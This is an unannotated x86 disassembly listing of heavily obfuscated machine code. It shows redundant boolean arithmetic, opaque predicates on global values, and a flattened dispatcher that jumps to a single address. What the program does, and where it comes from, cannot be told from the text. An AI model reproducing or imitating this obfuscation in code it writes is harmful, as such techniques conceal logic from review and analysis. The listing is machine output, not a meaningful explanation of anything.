xor bl, dh
mov dh, byte [ebp - 0x436]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x437], al
and al, dh
mov byte [ebp - 0x438], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x439], al
mov al, byte [ebp - 0x438]
or bh, al
mov al, byte [ebp - 0x439]
or al, dh
xor bh, al
xor bh, 0xff
mov al, dl
xor al, 0
mov dh, dl
xor dh, 0
or bh, al
or dh, 0
xor bh, 0xff
and bh, dh
xor cl, 0xff
mov al, byte [ebp - 0x437]
xor al, cl
mov cl, byte [ebp - 0x437]
and al, cl
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0x43a], al
mov al, ch
and al, 0xff
and bh, cl
mov byte [ebp - 0x43b], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x43c], al
mov al, byte [ebp - 0x43a]
and al, cl
mov byte [ebp - 0x43d], al
mov al, byte [ebp - 0x43b]
or al, bh
mov bh, byte [ebp - 0x43c]
mov byte [ebp - 0x43e], al
mov al, byte [ebp - 0x43d]
or bh, al
mov al, byte [ebp - 0x43e]
xor al, bh
or ch, bl
xor ch, 0xff
or cl, 1
and ch, cl
or al, ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and dh, ch
mov bl, al
xor bl, 0xff
and bl, 0
and al, ch
or cl, dh
or bl, al
xor cl, bl
mov al, ah
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or al, dh
or bl, ch
xor al, bl
mov ch, byte [ebp - 0x417]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x417]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
and dh, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x43f], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, dl
xor al, 1
mov bl, byte [ebp - 0x43f]
xor bl, al
mov al, byte [ebp - 0x43f]
and bl, al
xor ah, 0xff
mov bh, dh
xor bh, 0xff
mov al, dl
xor al, 0
or ah, bh
or al, 0
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x440], al
mov al, dl
xor al, 0
mov byte [ebp - 0x441], al
mov al, byte [ebp - 0x440]
or al, bh
mov bh, byte [ebp - 0x441]
or bh, 0
xor al, 0xff
and al, bh
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x442], al
mov al, byte [ebp - 0x417]
xor al, bh
mov bh, byte [ebp - 0x417]
and al, bh
mov bh, bl
and bh, ah
xor bl, ah
or bh, bl
mov ah, byte [ebp - 0x442]
and ah, al
mov bl, byte [ebp - 0x442]
xor bl, al
or ah, bl
mov al, bh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
and bh, bl
mov byte [ebp - 0x443], al
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
mov bl, byte [ebp - 0x443]
or bl, bh
or al, ah
xor bl, al
mov al, byte [ebp - 0x43f]
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x444], al
and al, 0
mov byte [ebp - 0x445], al
mov al, byte [ebp - 0x43f]
and al, bh
mov byte [ebp - 0x446], al
mov al, ah
and al, 0
and ch, bh
mov byte [ebp - 0x447], al
mov al, byte [ebp - 0x445]
mov byte [ebp - 0x448], cl
mov cl, byte [ebp - 0x446]
or al, cl
mov cl, byte [ebp - 0x447]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x444]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dh
and al, 1
xor dh, 1
or al, dh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, bl
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, dl
xor ch, 1
mov dh, al
and dh, 0xff
and bl, ch
mov bh, cl
and bh, 0xff
and ah, ch
or dh, bl
or bh, ah
xor dh, bh
or al, cl
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, dh
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0xff
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, dl
xor cl, 1
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, ch
or bl, ah
xor al, bl
xor dh, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 0
or dh, ah
or ch, 0
xor dh, 0xff
and dh, ch
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
mov ch, dl
xor ch, 1
mov bl, ah
xor bl, ch
and bl, ah
mov ah, dl
xor ah, 1
xor al, 0xff
mov ch, dl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, bl
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, cl
and bh, 0
and bl, dh
mov byte [ebp - 0x449], al
mov al, ch
and al, 0
and ah, dh
or bh, bl
or al, ah
xor bh, al
or cl, ch
xor cl, 0xff
or dh, 0
and cl, dh
or bh, cl
mov al, byte [ebp - 0x449]
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, byte [ebp - 0x449]
and al, bh
or cl, al
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, ch
or dh, ah
xor al, dh
mov ah, byte [ebp - 0x41e]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x41e]
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x44a], al
mov al, ah
xor al, bh
and al, ah
mov bh, byte [ebp - 0x41e]
xor bh, 0xff
mov byte [ebp - 0x44b], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x44c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x44d], al
mov al, byte [ebp - 0x44c]
or bh, al
mov al, byte [ebp - 0x44d]
or al, 0
xor bh, 0xff
and bh, al
mov al, bl
and al, dh
xor bl, dh
or al, bl
mov dh, byte [ebp - 0x44b]
and dh, bh
mov bl, byte [ebp - 0x44b]
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and al, dh
or bh, al
mov al, byte [ebp - 0x44a]
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x44e], al
and al, 0
mov byte [ebp - 0x44f], al
mov al, byte [ebp - 0x44a]
and al, bl
mov byte [ebp - 0x450], al
mov al, dh
and al, 0
and ah, bl
mov byte [ebp - 0x451], al
mov al, byte [ebp - 0x44f]
mov byte [ebp - 0x452], cl
mov cl, byte [ebp - 0x450]
or al, cl
mov cl, byte [ebp - 0x451]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x44e]
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bl, al
and bl, 0xff
mov byte [ebp - 0x453], al
mov al, dh
and al, 1
mov byte [ebp - 0x454], al
mov al, ah
and al, 0xff
and ch, dh
mov byte [ebp - 0x455], al
mov al, byte [ebp - 0x454]
or bl, al
mov al, byte [ebp - 0x455]
or al, ch
xor bl, al
mov al, byte [ebp - 0x453]
or al, ah
xor al, 0xff
or dh, 1
and al, dh
or bl, al
xor bl, 0xff
mov al, cl
xor al, bl
and al, cl
mov cl, bh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 0
mov dh, cl
and dh, 0
and bh, ch
mov bl, ah
and bl, 0
and al, ch
or dh, bh
or bl, al
xor dh, bl
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or dh, cl
mov al, dh
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and dh, cl
mov ah, dl
xor ah, 1
and ah, 0
and cl, 1
or al, dh
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x452]
xor cl, 0xff
mov ah, al
and ah, cl
xor al, 0xff
mov cl, byte [ebp - 0x452]
and cl, al
or ah, cl
mov al, byte [ebp - 0x452]
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, byte [ebp - 0x448]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x448]
and ch, ah
or al, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, byte [ebp - 0x448]
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x456], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x457], al
mov al, dl
xor al, 0
mov byte [ebp - 0x458], al
mov al, byte [ebp - 0x457]
or al, bh
mov bh, byte [ebp - 0x458]
or bh, 0
xor al, 0xff
and al, bh
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x459], al
mov al, dl
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
and al, dh
xor bl, dh
or al, bl
mov dh, byte [ebp - 0x459]
and dh, cl
mov bl, byte [ebp - 0x459]
xor bl, cl
or dh, bl
mov cl, al
xor cl, 0xff
mov bl, dh
and bl, cl
xor dh, 0xff
and al, dh
or bl, al
mov al, byte [ebp - 0x456]
and al, ah
mov cl, byte [ebp - 0x456]
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x45a], al
mov al, dh
and al, 1
mov byte [ebp - 0x45b], al
mov al, ah
and al, 0xff
and ch, dh
mov byte [ebp - 0x45c], al
mov al, byte [ebp - 0x45b]
or bh, al
mov al, byte [ebp - 0x45c]
or al, ch
xor bh, al
mov al, byte [ebp - 0x45a]
or al, ah
xor al, 0xff
or dh, 1
and al, dh
or bh, al
xor cl, 0xff
xor bh, 0xff
xor dl, 0
or cl, bh
or dl, 0
xor cl, 0xff
and cl, dl
mov al, bl
and al, cl
xor bl, cl
or al, bl
test al, 1
mov esi, dword [ebp - 0x3f8]
mov edi, dword [ebp - 0x410]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
mov dword [ebp - 0x28], 0x746e6d5c
jmp 0x6e96f5
mov eax, 0x218015a9
mov ecx, 0x88ad8e40
mov dl, 1
xor esi, esi
mov edi, 0x1c049fcd
mov ebx, dword [0x71b0ac]
mov dword [ebp - 0x460], eax
mov eax, dword [0x71b0a4]
add edi, 0
sub edi, ebx
sub edi, 0x1c049fcd
mov dword [ebp - 0x464], eax
mov eax, esi
sub eax, 0x3ae72af6
sub eax, 0xe1027c1
add eax, 0x3ae72af6
mov dword [ebp - 0x468], eax
mov eax, esi
sub eax, edi
mov edi, esi
mov dword [ebp - 0x46c], eax
mov eax, dword [ebp - 0x468]
sub edi, eax
mov eax, dword [ebp - 0x46c]
add eax, edi
mov edi, esi
sub edi, eax
mov eax, esi
sub eax, 0x5a058faa
sub eax, edi
add eax, 0x5a058faa
mov edi, esi
sub edi, 0x77959ba6
add eax, edi
mov edi, esi
sub edi, 1
add eax, edi
add eax, 0x6db0b315
add eax, 0x77959ba6
sub eax, 0x6db0b315
sub esi, 0xb4fcea25
sub eax, esi
add eax, 0x3137620d
sub eax, 0xe1027c1
sub eax, 0x3137620d
sub eax, 0x2e8e27cc
sub eax, 0xb4fcea25
add eax, 0x2e8e27cc
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x464]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x46d], al
and al, bh
or bl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x46e], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x46f], al
mov al, dl
xor al, 0
mov byte [ebp - 0x470], al
mov al, bh
and al, 0
mov byte [ebp - 0x471], al
mov al, byte [ebp - 0x470]
and ah, al
mov al, byte [ebp - 0x46f]
and al, 0
mov byte [ebp - 0x472], al
mov al, byte [ebp - 0x470]
and bl, al
mov al, byte [ebp - 0x471]
or al, ah
mov ah, byte [ebp - 0x472]
or ah, bl
xor al, ah
mov ah, byte [ebp - 0x46f]
or bh, ah
xor bh, 0xff
mov bl, byte [ebp - 0x470]
or bl, 0
and bh, bl
or al, bh
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x46e]
xor bh, 0xff
mov ah, dl
xor ah, 0
mov byte [ebp - 0x473], al
mov al, bl
and al, 0
mov byte [ebp - 0x474], al
mov al, ah
and al, 1
mov byte [ebp - 0x475], al
mov al, bh
and al, 0
mov byte [ebp - 0x476], al
mov al, byte [ebp - 0x46e]
and al, ah
mov byte [ebp - 0x477], al
mov al, byte [ebp - 0x474]
mov dword [ebp - 0x47c], ecx
mov cl, byte [ebp - 0x475]
or al, cl
mov cl, byte [ebp - 0x476]
mov ch, byte [ebp - 0x477]
or cl, ch
xor al, cl
or bl, bh
xor bl, 0xff
or ah, 0
and bl, ah
or al, bl
mov cl, byte [ebp - 0x473]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x473]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or al, ch
mov cl, dl
xor cl, 0
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 0
and al, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, al
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, byte [ebp - 0x46d]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x46d]
and bh, dh
or ch, bh
mov dh, dl
xor dh, 0
mov bh, ch
xor bh, dh
and bh, ch
xor al, 0xff
mov ch, byte [ebp - 0x46d]
xor ch, al
mov al, byte [ebp - 0x46d]
and ch, al
mov dh, cl
xor dh, 0xff
mov al, bl
xor al, 0xff
mov byte [ebp - 0x47d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x47e], al
mov al, dh
and al, 0
mov byte [ebp - 0x47f], al
mov al, byte [ebp - 0x47e]
and cl, al
mov al, byte [ebp - 0x47d]
and al, 0
mov byte [ebp - 0x480], al
mov al, byte [ebp - 0x47e]
and bl, al
mov al, byte [ebp - 0x47f]
or al, cl
mov cl, byte [ebp - 0x480]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x47d]
or dh, cl
xor dh, 0xff
mov bl, byte [ebp - 0x47e]
or bl, 0
and dh, bl
or al, dh
mov dh, bh
and dh, ch
xor bh, ch
or dh, bh
mov ch, al
xor ch, 0xff
and ch, 0
mov bl, dl
xor bl, 0
and al, bl
mov bh, dh
xor bh, 0xff
and bh, 0
and dh, bl
or ch, al
or bh, dh
xor ch, bh
mov al, ah
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, ah
and bl, dh
or al, bl
mov dh, ch
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ch
and bh, bl
or dh, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, al
xor bh, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0x481], al
mov al, dl
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
xor ah, 0xff
mov al, bl
xor al, 0xff
mov cl, dl
xor cl, 0
or ah, al
or cl, 0
xor ah, 0xff
and ah, cl
mov al, dh
xor al, 0xff
mov cl, dl
xor cl, 1
mov byte [ebp - 0x482], al
mov al, dl
xor al, 0
mov byte [ebp - 0x483], al
mov al, byte [ebp - 0x482]
or al, cl
mov cl, byte [ebp - 0x483]
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x484], al
mov al, ch
xor al, cl
and al, ch
mov cl, bh
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov byte [ebp - 0x485], al
mov al, dl
xor al, 0
mov byte [ebp - 0x486], al
mov al, cl
and al, 0
mov byte [ebp - 0x487], al
mov al, byte [ebp - 0x486]
and bh, al
mov al, ch
and al, 0
mov byte [ebp - 0x488], al
mov al, byte [ebp - 0x486]
and ah, al
mov al, byte [ebp - 0x487]
or al, bh
mov bh, byte [ebp - 0x488]
or bh, ah
xor al, bh
or cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x486]
or ah, 0
and cl, ah
or al, cl
mov cl, byte [ebp - 0x484]
xor cl, 0xff
mov ah, byte [ebp - 0x485]
xor ah, 0xff
mov ch, dl
xor ch, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x489], al
mov al, byte [ebp - 0x484]
and al, ch
mov byte [ebp - 0x48a], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x48b], al
mov al, byte [ebp - 0x485]
and al, ch
mov byte [ebp - 0x48c], al
mov al, byte [ebp - 0x48a]
or bh, al
mov al, byte [ebp - 0x48b]
mov byte [ebp - 0x48d], cl
mov cl, byte [ebp - 0x48c]
or al, cl
xor bh, al
mov al, byte [ebp - 0x48d]
or al, ah
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov al, byte [ebp - 0x489]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x489]
and ah, cl
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, cl
or al, ah
or ch, bh
xor al, ch
mov cl, byte [ebp - 0x481]
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x48e], al
mov al, byte [ebp - 0x481]
and al, ch
mov byte [ebp - 0x48f], al
mov al, ah
and al, 0xff
and dh, ch
mov byte [ebp - 0x490], al
mov al, byte [ebp - 0x48f]
or bh, al
mov al, byte [ebp - 0x490]
or al, dh
xor bh, al
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or bh, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0xff
and cl, 1
or al, bh
or ah, cl
xor al, ah
mov cl, bl
and cl, 1
xor bl, 1
or cl, bl
xor al, 0xff
xor cl, 0xff
xor dl, 0
or al, cl
or dl, 0
xor al, 0xff
and al, dl
mov cl, byte [ebp - 0x48e]
and cl, al
mov dl, byte [ebp - 0x48e]
xor dl, al
or cl, dl
test cl, 1
mov esi, dword [ebp - 0x460]
mov edi, dword [ebp - 0x47c]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x6e96f5
mov eax, 0x218015a9
mov ecx, 0x12f6c050
mov dl, 1
xor esi, esi
mov edi, dword [0x71b0ac]
mov ebx, dword [0x71b0a4]
mov dword [ebp - 0x494], eax
mov eax, esi
sub eax, 0x7fc97bf1
mov dword [ebp - 0x498], eax
mov eax, edi
mov dword [ebp - 0x49c], ecx
mov ecx, dword [ebp - 0x498]
add eax, ecx
mov ecx, esi
sub ecx, 0x5fdb88b8
add eax, ecx
sub eax, 0x9071a465
add eax, 0x7fc97bf1
add eax, 0x9071a465
add eax, 0x930ea1ae
sub eax, 0xbf35e402
sub eax, 0x930ea1ae
sub eax, 0xee1e4cdb
sub eax, 1
add eax, 0xee1e4cdb
add eax, 0xd4b76072
add eax, 0xbf35e402
sub eax, 0xd4b76072
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0xed6f18f
add ecx, eax
mov eax, esi
sub eax, ecx
add eax, 0x42ae1bab
add eax, 0x5fdb88b8
sub eax, 0x42ae1bab
sub esi, 0xed6f18f
add eax, esi
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, cl
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x49d], al
mov al, bh
and al, 1
mov byte [ebp - 0x49e], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x49f], al
mov al, byte [ebp - 0x49e]
or ch, al
mov al, byte [ebp - 0x49f]
or al, bh
xor ch, al
xor ch, 0xff
mov al, dl
xor al, 1
mov bh, dl
xor bh, 1
or ch, al
or bh, 1
xor ch, 0xff
and ch, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, ah
xor al, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x4a0], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4a1], al
mov al, byte [ebp - 0x4a0]
and al, 0xff
mov byte [ebp - 0x4a2], al
mov al, byte [ebp - 0x4a1]
and ah, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x4a3], al
mov al, byte [ebp - 0x4a1]
and bl, al
mov al, byte [ebp - 0x4a2]
or al, ah
mov ah, byte [ebp - 0x4a3]
or ah, bl
xor al, ah
mov ah, byte [ebp - 0x4a0]
or ah, bh
xor ah, 0xff
mov bl, byte [ebp - 0x4a1]
or bl, 1
and ah, bl
or al, ah
mov ah, ch
and ah, cl
xor ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
mov bl, ah
xor bl, 0xff
and bl, 0xff
and ah, ch
or cl, al
or bl, ah
xor cl, bl
mov al, byte [ebp - 0x49d]
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x49d]
and ch, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or al, ch
or bl, ah
xor al, bl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x49d]
xor ch, ah
mov ah, byte [ebp - 0x49d]
and ch, ah
mov bl, al
and bl, ch
xor al, ch
or bl, al
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
mov bh, ch
and bh, 1
mov ah, dl
xor ah, 1
and ah, 0xff
and ch, 1
or al, bh
or ah, ch
xor al, ah
mov ah, dl
xor ah, 1
xor al, 0xff
mov ch, dl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, ah
and ch, al
xor ah, al
or ch, ah
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov bh, ah
and bh, 1
mov byte [ebp - 0x4a4], al
mov al, dl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x4a5], al
mov al, byte [ebp - 0x4a4]
or al, bh
mov bh, byte [ebp - 0x4a5]
or bh, ah
xor al, bh
mov ah, cl
xor ah, 0xff
and ah, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x4a6], al
mov al, cl
and al, bh
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4a6]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x4a8], al
mov al, byte [ebp - 0x4a6]
and al, bh
mov bh, byte [ebp - 0x4a7]
or ah, bh
mov bh, byte [ebp - 0x4a8]
or bh, al
xor ah, bh
mov al, cl
xor al, 0xff
mov bh, ah
xor bh, al
and bh, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and dh, ah
or al, dh
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x4a9], al
mov al, ch
and al, dh
mov byte [ebp - 0x4aa], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x4ab], al
mov al, byte [ebp - 0x4aa]
or ah, al
mov al, byte [ebp - 0x4ab]
or al, dh
xor ah, al
mov al, dl
xor al, 0
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x4ac], al
mov al, dh
and al, 0
mov byte [ebp - 0x4ad], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x4ae], al
mov al, byte [ebp - 0x4ac]
mov byte [ebp - 0x4af], cl
mov cl, byte [ebp - 0x4ad]
or al, cl
mov cl, byte [ebp - 0x4ae]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x4a9]
and cl, ah
mov dh, byte [ebp - 0x4a9]
xor dh, ah
or cl, dh
mov ah, al
and ah, 0
xor al, 0
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
and cl, dh
or al, cl
xor al, 0xff
xor ah, 0xff
mov cl, dl
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
mov dh, ah
and dh, 1
mov byte [ebp - 0x4b0], al
mov al, dl
xor al, 1
and al, 0xff
and ah, 1
or cl, dh
or al, ah
xor cl, al
mov al, bl
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov dh, bl
and dh, ah
mov byte [ebp - 0x4b1], al
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
mov ah, byte [ebp - 0x4b1]
or ah, dh
or al, cl
xor ah, al
mov al, bl
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, ch
and dh, ah
mov byte [ebp - 0x4b2], al
mov al, dl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x4b3], al
mov al, byte [ebp - 0x4b2]
or al, dh
mov dh, byte [ebp - 0x4b3]
or dh, ah
xor al, dh
mov ah, byte [ebp - 0x49d]
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x4b4], al
mov al, byte [ebp - 0x49d]
and al, dh
mov byte [ebp - 0x4b5], al
mov al, byte [ebp - 0x4b4]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x4b6], al
mov al, byte [ebp - 0x4b4]
and al, dh
mov dh, byte [ebp - 0x4b5]
or ah, dh
mov dh, byte [ebp - 0x4b6]
or dh, al
xor ah, dh
mov al, byte [ebp - 0x49d]
xor al, 0xff
mov dh, ah
xor dh, al
and dh, ah
mov al, bh
xor al, 0xff
mov ah, byte [ebp - 0x4b0]
xor ah, 0xff
mov byte [ebp - 0x4b7], al
mov al, dl
xor al, 1
mov byte [ebp - 0x4b8], al
mov al, byte [ebp - 0x4b7]
or al, ah
mov ah, byte [ebp - 0x4b8]
or ah, 1
xor al, 0xff
and al, ah
mov ah, bh
xor ah, 0xff
